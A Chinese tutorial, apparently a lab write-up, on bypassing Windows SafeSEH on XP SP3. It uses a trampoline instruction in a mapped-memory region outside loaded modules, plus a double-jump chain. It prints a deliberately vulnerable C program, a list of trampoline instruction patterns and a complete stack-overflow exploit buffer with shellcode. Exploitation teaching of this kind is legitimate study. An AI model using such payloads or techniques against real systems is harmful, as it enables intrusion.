突破SafeSEH机制之三——利用加载模块之外的地址绕过SafeSEH

伊索谗言

敲黑板敲黑板~睡着的同学醒醒了！！
今天我们继续突破SafeSEH，上次讲到第二种思路利用未启用SafeSEH模块绕过SafeSEH
今天来实现最后一个突破思路：
      异常处理函数位于加载模块内存范围之外，DEP关闭------->>>在加载模块内存范围外找一个跳板指令就可以转入shellcode执行
上次我们是找到了一个加载模块内存范围内找到的一个指令，今天我们要在加载内存范围外找一个跳板指令了。

预告：今天会有一个漏洞利用中很重要很常用的技巧，那就是跳板指令的选择与查找。（而且是那种，你只需要知道是什么，不需要知道为什么的方法。）


环境：
XP SP3
vs 2008
optimization disable
release
DEP关闭（这个问题我想明白了，XP默认就会关闭，不用vs专门关闭）


先把今天实验代码贴出来
[C] 纯文本查看 复制代码DWORD MyException(void){        printf("There is an exception");        getchar();        return 1;}void test(char * input){        char str[200];        strcpy(str,input);            int zero=0;        __try        {            zero=1/zero;        }        __except(MyException())        {        }}int _tmain(int argc, _TCHAR* argv[]){        __asm int 3        test(shellcode);        return 0;}

直接运行程序，在int3的地方停下来，查看OD插件SafeSEH，查看加载模块情况：

发现所有的模块都已经开启SafeSEH

通过 查看->内存，查看内存情况：

类型为map的映射文件，SafeSEH会将他们无视，不对他们进行有效性验证的，所以当我们把异常处理函数指针指向这里的某一个跳板指令，利用跳板指令跳回栈，我们是不是就可以执行我们的shellcode了。（重点~）

那我们需要什么样的跳板指令呢？前方高能预警... ...
call/jmp dword ptr[esp+0x8]
call/jmp dword ptr[esp+0x14]
call/jmp dword ptr[esp+0x1c]
call/jmp dword ptr[esp+0x2c]
call/jmp dword ptr[esp+0x44]
call/jmp dword ptr[esp+0x50]

call/jmp dword ptr[ebp+0xc]
call/jmp dword ptr[ebp+0x24]
call/jmp dword ptr[ebp+0x30]
call/jmp dword ptr[ebp-0x4]
call/jmp dword ptr[ebp-0xc]
call/jmp dword ptr[ebp-0x18]

好，文章中说，这些跳板指令都能精确的跳回来。（原话是“经过前辈们的不懈努力找到了一批可以用在这种情况下的跳板地址”）
nani???黑人问号???
一句话都不多说。当时真是想死的心都有了，满脑子问号。
于是秉持着“不求甚解”的心态“先这么着吧”,继续往下调试。
而且作者说，他开发了一个OllyFindAddr的插件，可以找出来这些所有指令的地址，在整个程序内存空间中：

我抱着试试看的心态，真的找到了！图中红色的指令，call [ebp+0x30]，位于0x280B0B，对比刚才看到map文件的地址，发现这个地址确实是在map文件映射的内存空间中的。


第一步 确定栈中结构
其实跟之前的差不多，我们老方法再看一遍，多看一遍不花钱。
先把shellcode字符设置成200个字符。查看首地址和末尾地址，看看末尾地址离需要溢出点有多远。

我们看到，数据末尾离我们要覆盖的地方还有24个字节的长度，我们在221-224把我们找到的跳板指令布置上去。

第二步 call [ebp+0x30]到底是干嘛的
重新布置shellcode后，我们调试到这一步，看看这个跳板指令到底是怎么蹦跶的。
要调试到call 280B0B这一步还挺麻烦，老是跳过，所以说搞逆向的人一定要耐心啊。

在准备call ebp+0x30的时候，我专门记下了作者说的另外几个指针，无一例外，他们指向的是同一个值，0x0012FF60
这个地址正是覆盖的SEH结构中NEXT SEH指针的地址！！！也就是说跳板指令的意义在于，会使程序重新跳到这个
0x0012FF60继续执行，既然程序流程已经被我们通过跳转指令劫持回来了，我们继续考虑接下来怎么运行到shellcode就好了。
另外，我们惊奇的发现，每一个ebp跳板指令偏移再+0x20，就是esp的跳板指令的偏移。

第三步 跳转到shellcode
跳回到NextSEH指针了，可是我们无法直接jmp到shellcode，因为这里离shellcode太远，并且只有4个字节，jmp short指令只能跳转128字节的距离，而jmp far 需要8个字节的空间，如果jmp far的话，就和跳板指令地址shellcode中0x00280B0B冲突了。
所以这里又是一个常用技巧叫做双跳转指令，先用一个jmp short跳到一个合适的地方，再用jmp far跳到shellcode执行。
jmp short考虑向前跳8个字节，以便给jmp far腾出空间，采取\xEB\xF6，因为要包含自己的2个字节。
jmp far就计算与shellcode的距离了，

所以我们的shellcode在栈中是（注意倒序）
90909090（shellcode末尾）
————               (90填充)
————               (90填充)
\xE9\x2B\xFF\xFF  jmp -(200+8+5)
\xFF\x90\x90\x90
\xEB\xF6\x90\x90  jmp -（8+2）
\x0B\x0B\x28\x00 SEH处理函数

修改shellcode代码：
[C] 纯文本查看 复制代码#include "stdafx.h"#include #include char shellcode[]="\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\xE9\x2B\xFF\xFF\xFF\x90\x90\x90"// machine code of far jump and \x90"\xEB\xF6\x90\x90"// machine code of short jump and \x90"\x0B\x0B\x28\x00"// address of call [ebp+30] in outside memory;DWORD MyException(void){        printf("There is an exception");        getchar();        return 1;}void test(char * input){        char str[200];        strcpy(str,input);            int zero=0;        __try        {            zero=1/zero;        }        __except(MyException())        {        }}int _tmain(int argc, _TCHAR* argv[]){        __asm int 3        test(shellcode);        return 0;}

有哪里不懂，可以提问，我知道的话一定会解答。

来源：http://www.12558.net
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！